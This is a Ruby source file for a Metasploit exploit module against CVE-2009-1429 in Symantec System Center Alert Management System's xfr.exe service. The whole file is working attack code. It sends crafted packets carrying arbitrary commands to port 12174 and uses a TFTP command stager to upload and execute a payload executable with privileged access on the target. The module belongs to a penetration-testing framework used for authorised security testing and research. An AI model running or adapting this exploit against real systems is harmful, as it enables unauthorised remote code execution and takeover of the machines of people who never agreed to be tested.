metasploit-framework/modules/exploits/windows/antivirus/ams_xfr.rb

113 lines
2.7 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Symantec System Center Alert Management System (xfr.exe) Arbitrary Command Execution',
'Description' => %q{
Symantec System Center Alert Management System is prone to a remote command-injection vulnerability
because the application fails to properly sanitize user-supplied input.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2009-1429' ],
[ 'BID', '34671' ],
[ 'OSVDB', '54157' ],
[ 'ZDI', '09-060' ],
[ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20090428_02' ]
],
'Targets' =>
[
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
]
],
'CmdStagerFlavor' => 'tftp',
'Privileged' => true,
'Platform' => 'win',
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 28 2009'))
register_options(
[
Opt::RPORT(12174),
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', ""]),
], self.class)
end
def windows_stager
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.' })
@payload_exe = generate_payload_exe
print_status("Attempting to execute the payload...")
execute_command(@payload_exe)
end
def execute_command(cmd, opts = {})
connect
len = 2 + cmd.length
data = [0x00000000].pack('V')
data << len.chr
data << "\x00"
data << cmd + " "
data << "\x00"
sock.put(data)
res = sock.get_once
if (!res)
print_error("Did not received data. Failed?")
else
print_status("Got data, execution successful!")
end
disconnect
end
def exploit
if not datastore['CMD'].empty?
print_status("Executing command '#{datastore['CMD']}'")
execute_command(datastore['CMD'])
return
end
case target['Platform']
when 'win'
windows_stager
else
fail_with(Failure::Unknown, 'Target not supported.')
end
handler
end
end